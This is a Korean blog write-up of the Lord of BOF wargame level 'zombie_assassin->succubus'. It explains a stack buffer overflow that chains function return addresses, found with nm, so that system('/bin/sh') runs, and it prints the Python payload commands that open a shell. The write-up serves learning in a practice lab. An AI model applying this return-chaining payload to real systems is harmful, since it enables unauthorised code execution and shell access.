systemhacking/practice

lob zombie_assassin->succubus

qkqhxla1 2015. 1. 29. 18:24

succubus.c를 열어보면 특이점이 있다. 여태까지 썼던 dumpcode가 헤더파일 형태로 소스코드에 그냥 박혀있다.

일단 succubu1.c로 복사 후 맨 끝에 dumpcode(buffer,500);을 추가 후 succubu1로 컴파일해보자.

함수를 살펴보면 DO GYE GUL YUT MO순서로 간 후 MO함수에 /bin/sh라는 문자열을 전달해주면 된다.

(받은 인자로 system함수를 실행한다.)

환경변수, 라이브러리가 다 사용 금지이므로 리턴주소를 각 함수의 주소로 덮어씌운 후 /bin/sh라는 문자열을 내가 직접 넣고, 그 문자열의 주소값을 가리키도록 MO함수의 인자자리에 넣으면 될것이다.


nm이라는 명령어가 있는데 오브젝트 파일의 심볼들을 확인하는명령어라고 한다. ( http://s2kiess.blog.me/220076905877 )

nm succubu1을 해보면 도개걸윷모 함수 주소가 각각

080487ec T DO

0804878c T GUL

080487bc T GYE

08048724 T MO

0804875c T YUT

로 나온다. 그러면 이제 공격에 사용할 동일한 문자열 길이를 넣으면서 버퍼의 주소값을 알아보도록 하자.(/bin/sh문자열의 주소를 나중에 찾기 위해.)

./succubu1 `python -c 'print "a"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"aaaa"+"b"*4+"a"*7'`

실행하면 위에 추가한 dumpcode로 인해 주소값이 뜨는데 b가 들어간 자리가 인자로 넣을 /bin/sh문자열의 주소값 위치이고, 맨 뒤에 a 7개가 /bin/sh문자열이다(7자리) 이렇게 문자열을 똑같은 길이로 넣어줘야 정확한 공격이 가능하다.



빨간 부분 자리가 /bin/sh문자열이 들어갈 주소이고, bbbb대신 저 주소를 적으면 된다. 저 빨간색 주소는

0xbffffab8이다. 그러면..

./succubu1 `python -c 'print "a"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"aaaa"+"\xb8\xfa\xff\xbf"+"/bin/sh"'` 처럼 바꿔주고 하면 된다. 성공을 확인할 수 있으며,

원래의 succubus에도 동일한 공격을 해주면 된다. (다만 도개걸윷모 함수의 주소가 바뀌었을 수 있다.)


*삽질하면서 알아낸건데 dumpcode헤더파일이 없으면 문제를 다른방식으로 풀어야 할 것 같다. 

gdb -q succubu1로 들어가서 적절한 곳에 브레이크포인트를 건 후, 위와같이 예시 코드로 실행 후 버퍼 주소를 알아낸다. (x/40x $esp같은걸로) 그후 gdb로 돌리고있는 도중에 공격을 하면 공격이 성공하는데, gdb 바깥으로 나와서 동일한 페이로드로 해보려고 하면 안된다. 그래서 lob 문제 출제자가 달라지는 주소를 알아볼수 있게 알아서 dumpcode를 추가해준것같다. 

'systemhacking > practice' 카테고리의 다른 글

lob nightmare->xavius  (0) 2015.01.30
lob succubus->nightmare  (0) 2015.01.30
lob assassin->zombie_assassin (fake ebp)  (0) 2015.01.28
lob giant->assassin  (0) 2015.01.27
lob bugbear->giant (rtl2)  (0) 2015.01.26